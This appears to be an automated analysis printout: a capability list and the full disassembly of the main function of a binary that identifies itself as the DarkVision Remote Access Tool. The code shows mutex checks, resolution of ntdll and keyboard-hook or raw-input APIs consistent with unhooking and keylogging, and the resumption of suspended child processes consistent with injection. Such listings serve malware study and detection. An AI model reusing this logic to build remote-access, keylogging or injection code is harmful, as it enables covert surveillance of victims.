Function at 0x140001000
Capabilities:
Accept command line arguments
Check mutex and terminate process on windows
Check mutex on windows
Get common file path
Initialize winsock library
Resume thread
Terminate process

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x10468
call fcn.140019d80
sub rsp, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x30], rax
call fcn.14000a680
test eax, eax
jne 0x140001042
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea rcx, [rsp + 0x218]
call fcn.140002130
lea rcx, [rsp + 0x218]
call fcn.1400092d0
test eax, eax
jne 0x14000106d
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea rcx, [0x140025690]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x1400011cc
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x2b8], rax
cmp qword [rsp + 0x2b8], 0
je 0x1400011cc
mov r8d, 0x104
mov rdx, qword [rsp + 0x2b8]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1400011be
lea rax, str.NtOpenProcess
mov qword [rsp + 0x2c0], rax
lea rax, str.NtAllocateVirtualMemory
mov qword [rsp + 0x2c8], rax
lea rax, str.NtProtectVirtualMemory
mov qword [rsp + 0x2d0], rax
lea rax, str.NtCreateFile
mov qword [rsp + 0x2d8], rax
lea rax, str.NtCreateProcess
mov qword [rsp + 0x2e0], rax
lea rax, str.NtReadVirtualMemory
mov qword [rsp + 0x2e8], rax
lea rax, str.NtWriteVirtualMemory
mov qword [rsp + 0x2f0], rax
lea rax, str.NtGetContextThread
mov qword [rsp + 0x2f8], rax
lea rax, str.NtSetContextThread
mov qword [rsp + 0x300], rax
lea rax, str.NtSuspendThread
mov qword [rsp + 0x308], rax
lea rax, str.NtResumeThread
mov qword [rsp + 0x310], rax
mov dword [rsp + 0x320], 0
jmp 0x140001195
mov eax, dword [rsp + 0x320]
inc eax
mov dword [rsp + 0x320], eax
cmp dword [rsp + 0x320], 0xb
jge 0x1400011be
movsxd rax, dword [rsp + 0x320]
mov rdx, qword [rsp + rax*8 + 0x2c0]
mov rcx, qword [rsp + 0x2b8]
call fcn.140008ff0
jmp 0x140001185
mov rcx, qword [rsp + 0x2b8]
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rcx, [0x140025788]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x208], rax
cmp qword [rsp + 0x208], 0
je 0x140001343
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x328], rax
cmp qword [rsp + 0x328], 0
je 0x140001343
mov r8d, 0x104
mov rdx, qword [rsp + 0x328]
mov rcx, qword [rsp + 0x208]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140001335
lea rax, [0x1400257a8]
mov qword [rsp + 0x330], rax
lea rax, [0x1400257b8]
mov qword [rsp + 0x338], rax
lea rax, [0x1400257c8]
mov qword [rsp + 0x340], rax
lea rax, [0x1400257d8]
mov qword [rsp + 0x348], rax
lea rax, [0x1400257e8]
mov qword [rsp + 0x350], rax
lea rax, [0x1400257f8]
mov qword [rsp + 0x358], rax
lea rax, str.ReadProcessMemory
mov qword [rsp + 0x360], rax
lea rax, [0x140025820]
mov qword [rsp + 0x368], rax
lea rax, [0x140025838]
mov qword [rsp + 0x370], rax
lea rax, [0x140025850]
mov qword [rsp + 0x378], rax
lea rax, [0x140025868]
mov qword [rsp + 0x380], rax
lea rax, [0x140025878]
mov qword [rsp + 0x388], rax
mov dword [rsp + 0x390], 0
jmp 0x14000130c
mov eax, dword [rsp + 0x390]
inc eax
mov dword [rsp + 0x390], eax
cmp dword [rsp + 0x390], 0xc
jge 0x140001335
movsxd rax, dword [rsp + 0x390]
mov rdx, qword [rsp + rax*8 + 0x330]
mov rcx, qword [rsp + 0x328]
call fcn.140008ff0
jmp 0x1400012fc
mov rcx, qword [rsp + 0x328]
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rcx, str.DBGHELP.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x290], rax
cmp qword [rsp + 0x290], 0
je 0x140001411
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x398], rax
cmp qword [rsp + 0x398], 0
je 0x140001411
mov r8d, 0x104
mov rdx, qword [rsp + 0x398]
mov rcx, qword [rsp + 0x290]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140001403
lea rax, str.MiniDumpWriteDump
mov qword [rsp + 0x3a0], rax
mov dword [rsp + 0x3a8], 0
jmp 0x1400013da
mov eax, dword [rsp + 0x3a8]
inc eax
mov dword [rsp + 0x3a8], eax
cmp dword [rsp + 0x3a8], 1
jge 0x140001403
movsxd rax, dword [rsp + 0x3a8]
mov rdx, qword [rsp + rax*8 + 0x3a0]
mov rcx, qword [rsp + 0x398]
call fcn.140008ff0
jmp 0x1400013ca
mov rcx, qword [rsp + 0x398]
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rcx, [0x1400258b8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x298], rax
cmp qword [rsp + 0x298], 0
je 0x140001510
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x3b0], rax
cmp qword [rsp + 0x3b0], 0
je 0x140001510
mov r8d, 0x104
mov rdx, qword [rsp + 0x3b0]
mov rcx, qword [rsp + 0x298]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140001502
lea rax, str.SetWindowsHookExW
mov qword [rsp + 0x3b8], rax
lea rax, str.UnhookWindowsHookEx
mov qword [rsp + 0x3c0], rax
lea rax, str.RegisterRawInputDevices
mov qword [rsp + 0x3c8], rax
lea rax, str.GetRawInputData
mov qword [rsp + 0x3d0], rax
mov dword [rsp + 0x3d8], 0
jmp 0x1400014d9
mov eax, dword [rsp + 0x3d8]
inc eax
mov dword [rsp + 0x3d8], eax
cmp dword [rsp + 0x3d8], 4
jge 0x140001502
movsxd rax, dword [rsp + 0x3d8]
mov rdx, qword [rsp + rax*8 + 0x3b8]
mov rcx, qword [rsp + 0x3b0]
call fcn.140008ff0
jmp 0x1400014c9
mov rcx, qword [rsp + 0x3b0]
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rcx, str.WIN32U.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x1f0], rax
cmp qword [rsp + 0x1f0], 0
je 0x14000160f
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x3e0], rax
cmp qword [rsp + 0x3e0], 0
je 0x14000160f
mov r8d, 0x104
mov rdx, qword [rsp + 0x3e0]
mov rcx, qword [rsp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140001601
lea rax, str.NtUserSetWindowsHookEx
mov qword [rsp + 0x3e8], rax
lea rax, str.NtUserUnhookWindowsHookEx
mov qword [rsp + 0x3f0], rax
lea rax, str.NtUserRegisterRawInputDevices
mov qword [rsp + 0x3f8], rax
lea rax, str.NtUserGetRawInputData
mov qword [rsp + 0x400], rax
mov dword [rsp + 0x408], 0
jmp 0x1400015d8
mov eax, dword [rsp + 0x408]
inc eax
mov dword [rsp + 0x408], eax
cmp dword [rsp + 0x408], 4
jge 0x140001601
movsxd rax, dword [rsp + 0x408]
mov rdx, qword [rsp + rax*8 + 0x3e8]
mov rcx, qword [rsp + 0x3e0]
call fcn.140008ff0
jmp 0x1400015c8
mov rcx, qword [rsp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rcx, [rsp + 0x218]
call fcn.140009670
test eax, eax
jne 0x14000162d
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [0x14003c044], 1
jne 0x14000163b
call fcn.140005ce0
cmp dword [0x14003f2e8], 1
jne 0x140001651
call fcn.14000f370
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.1400047f0
test eax, eax
jne 0x140001662
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov qword [rsp + 0x270], 0
lea r8, str.B4BC5A91_729E_4ED2_ACDC_C0D59E81A084
xor edx, edx
mov ecx, 0x100000
call qword [sym.imp.KERNEL32.dll_OpenMutexW]
mov qword [rsp + 0x270], rax
cmp qword [rsp + 0x270], 0
je 0x1400016ab
mov rcx, qword [rsp + 0x270]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea r8, str.B4BC5A91_729E_4ED2_ACDC_C0D59E81A084
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
test rax, rax
jne 0x1400016cc
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea r8, str.0D5A4382_4048_48C1_8727_188C6B74C6A1
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x210], rax
cmp qword [rsp + 0x210], 0
jne 0x1400016fe
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140001716
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea r8, str.5C947A1A_6CBB_4013_96F8_E16D168F4C0E
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x200], rax
cmp qword [rsp + 0x200], 0
jne 0x140001745
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, str.5C947A1A_6CBB_4013_96F8_E16D168F4C0E
call fcn.14000fc20
lea r9, str.CA3517E4_A841_42EC_A6C2_9A6561DDE8B4
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x2b0], rax
cmp qword [rsp + 0x2b0], 0
jne 0x140001786
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000179b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, str.CA3517E4_A841_42EC_A6C2_9A6561DDE8B4
call fcn.14000fc20
cmp dword [0x14003a2dc], 1
jne 0x1400019a3
mov r8d, 0x7fff
lea rdx, [rsp + 0x410]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14000199b
mov dx, 0x5c
lea rcx, [rsp + 0x410]
call fcn.140002100
xor ecx, ecx
mov word [rax], cx
lea rdx, [rsp + 0x10410]
lea rcx, [0x14003a1d0]
call fcn.140005d80
mov qword [rsp + 0x10418], rax
cmp qword [rsp + 0x10418], 0
je 0x140001991
mov dx, 0x5c
mov rcx, qword [rsp + 0x10418]
call fcn.140002100
xor ecx, ecx
mov word [rax], cx
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x10420], rax
cmp qword [rsp + 0x10420], 0
je 0x140001981
mov rdx, qword [rsp + 0x10420]
mov ecx, 0x7fff
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x14000196b
mov dx, 0x5c
mov rcx, qword [rsp + 0x10420]
call fcn.140002100
xor ecx, ecx
mov word [rax], cx
mov rdx, qword [rsp + 0x10418]
lea rcx, [rsp + 0x410]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140001969
mov rdx, qword [rsp + 0x10420]
lea rcx, [rsp + 0x410]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140001969
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x10438], rax
lea rdx, [rsp + 0x10428]
mov rcx, qword [rsp + 0x10438]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rsp + 0x10430], rax
lea rdx, str.7181899D_6AFA_4B51_92B5_2CBF08C9F48F
mov rax, qword [rsp + 0x10430]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140001969
lea rdx, str.230B4F42_75C9_43DB_92DF_D4929BE6E571
mov rax, qword [rsp + 0x10430]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140001969
lea rdx, str.83A4D59E_778F_4E28_B56A_ADC4325A92D4
mov rax, qword [rsp + 0x10430]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140001969
mov r9d, 1
lea r8, str.DarkVision_Installation
lea rdx, str.You_are_about_to_install_DarkVision_Remote_Access_Tool.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 2
jne 0x140001969
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x140001973
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, qword [rsp + 0x10420]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x10418]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140001999
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x1400019a3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rdx, [rsp + 0x50]
mov cx, 2
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1400019be
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.1400047d0
test eax, eax
jne 0x1400019d2
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.140014e00
test eax, eax
jne 0x1400019e3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, [0x14003a1d0]
call fcn.140005880
test eax, eax
jne 0x1400019fb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, [0x14003a1d0]
call fcn.140005eb0
test eax, eax
jne 0x140001a13
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x14003a824], 1
jne 0x140001a2e
call fcn.140008740
cmp eax, 1
jne 0x140001a2e
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x14003c048], 1
jne 0x140001a48
call fcn.140007a30
test eax, eax
jne 0x140001a48
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x140039f28], 1
jne 0x140001a5b
call fcn.14000f370
jmp 0x1400020b2
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x140001a80
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, 0x7fff
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
jne 0x140001a9c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x140001ac1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, 0x7fff
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x140001add
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140001b02
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov r9, qword [rsp + 0x40]
lea r8, [0x1400259b0]
mov edx, 0x7fff
mov rcx, qword [rsp + 0x20]
call fcn.140019c8c
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x250], rax
cmp qword [rsp + 0x250], 0
jne 0x140001b48
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov r9, qword [rsp + 0x38]
lea r8, [0x1400259d0]
mov edx, 0x7fff
mov rcx, qword [rsp + 0x250]
call fcn.140019c8c
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x2a0], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + reloc.SHELL32.dll_IsUserAnAdmin], rax
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0x258]
call fcn.140019ba0
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0x278]
call fcn.140019ba0
mov dword [rsp + 0x1f8], 1
mov rax, qword [rsp + 0x2b0]
mov qword [rsp + 0x238], rax
mov qword [rsp + 0x240], 0
mov qword [rsp + 0x248], 0
xor edx, edx
mov rcx, qword [rsp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x14000203e
cmp dword [0x140039f2c], 1
jne 0x140001cc2
cmp qword [rsp + 0x258], 0
jne 0x140001cc2
lea rdx, [rsp + 0x258]
mov rcx, qword [rsp + 0x2a0]
call fcn.1400060a0
cmp eax, 1
jne 0x140001cc2
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [rsp + 0x10444], eax
cmp dword [rsp + 0x10444], 0xffffffff
je 0x140001c7e
movsxd rax, dword [rsp + 0x1f8]
mov rcx, qword [rsp + 0x258]
mov qword [rsp + rax*8 + 0x238], rcx
mov eax, dword [rsp + 0x1f8]
inc eax
mov dword [rsp + 0x1f8], eax
jmp 0x140001cc2
xor edx, edx
mov rcx, qword [rsp + 0x258]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x258]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x258], 0
mov qword [rsp + 0x260], 0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x140039f30], 1
jne 0x140001d94
cmp qword [rsp + 0x278], 0
jne 0x140001d94
lea rdx, [rsp + 0x278]
mov rcx, qword [rsp + reloc.SHELL32.dll_IsUserAnAdmin]
call fcn.1400060a0
cmp eax, 1
jne 0x140001d94
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [rsp + 0x10448], eax
cmp dword [rsp + 0x10448], 0xffffffff
je 0x140001d50
movsxd rax, dword [rsp + 0x1f8]
mov rcx, qword [rsp + 0x278]
mov qword [rsp + rax*8 + 0x238], rcx
mov eax, dword [rsp + 0x1f8]
inc eax
mov dword [rsp + 0x1f8], eax
jmp 0x140001d94
xor edx, edx
mov rcx, qword [rsp + 0x278]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x278]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x278], 0
mov qword [rsp + 0x280], 0
cmp dword [0x14003a610], 1
jne 0x140001ec6
cmp dword [0x140039f30], 1
jne 0x140001e31
cmp qword [rsp + 0x278], 0
je 0x140001e31
xor edx, edx
mov rcx, qword [rsp + 0x278]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x140001e31
lea r8, str.80B305C1_C322_45C5_8B84_9ACDCD3FA1E8
xor edx, edx
mov ecx, 0x100000
call qword [sym.imp.KERNEL32.dll_OpenMutexW]
mov qword [rsp + 0x10450], rax
cmp qword [rsp + 0x10450], 0
jne 0x140001e18
mov edx, 0xa
mov rcx, qword [rsp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x140001e16
jmp 0x1400020b2
jmp 0x140001da1
cmp qword [rsp + 0x10450], 0
je 0x140001e31
mov rcx, qword [rsp + 0x10450]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x140039f2c], 1
jne 0x140001ec1
cmp qword [rsp + 0x258], 0
je 0x140001ec1
xor edx, edx
mov rcx, qword [rsp + 0x258]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x140001ec1
lea r8, str.498A8C8D_C30A_4580_AC85_B9826A7CFC22
xor edx, edx
mov ecx, 0x100000
call qword [sym.imp.KERNEL32.dll_OpenMutexW]
mov qword [rsp + 0x10458], rax
cmp qword [rsp + 0x10458], 0
jne 0x140001ea8
mov edx, 0xa
mov rcx, qword [rsp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x140001ea6
jmp 0x1400020b2
jmp 0x140001e31
cmp qword [rsp + 0x10458], 0
je 0x140001ec1
mov rcx, qword [rsp + 0x10458]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400020b2
mov r9d, 0xffffffff
xor r8d, r8d
lea rdx, [rsp + 0x238]
mov ecx, dword [rsp + 0x1f8]
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x10440], eax
cmp dword [rsp + 0x10440], 0xffffffff
jne 0x140001efa
jmp 0x14000203e
xor edx, edx
mov rcx, qword [rsp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x140001f16
jmp 0x14000203e
cmp qword [rsp + 0x258], 0
je 0x140001f9e
xor edx, edx
mov rcx, qword [rsp + 0x258]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x140001f9e
mov rax, qword [rsp + 0x258]
cmp qword [rsp + 0x240], rax
jne 0x140001f5a
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x240], rax
mov eax, dword [rsp + 0x1f8]
dec eax
mov dword [rsp + 0x1f8], eax
mov rcx, qword [rsp + 0x258]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x258], 0
mov qword [rsp + 0x260], 0
cmp qword [rsp + 0x278], 0
je 0x140002026
xor edx, edx
mov rcx, qword [rsp + 0x278]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x140002026
mov rax, qword [rsp + 0x278]
cmp qword [rsp + 0x240], rax
jne 0x140001fe2
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x240], rax
mov eax, dword [rsp + 0x1f8]
dec eax
mov dword [rsp + 0x1f8], eax
mov rcx, qword [rsp + 0x278]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x278], 0
mov qword [rsp + 0x280], 0
mov edx, 0x3e8
mov rcx, qword [rsp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x140001be0
cmp qword [rsp + 0x258], 0
je 0x140002078
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x258]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x258]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rsp + 0x278], 0
je 0x1400020b2
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x278]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x278]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.1400047e0
cmp dword [0x140039f28], 1
jne 0x1400020d2
mov edx, 0xffffffff
mov rcx, qword [0x14003f930]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [0x14003c048], 1
jne 0x1400020e0
call fcn.140007a80
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]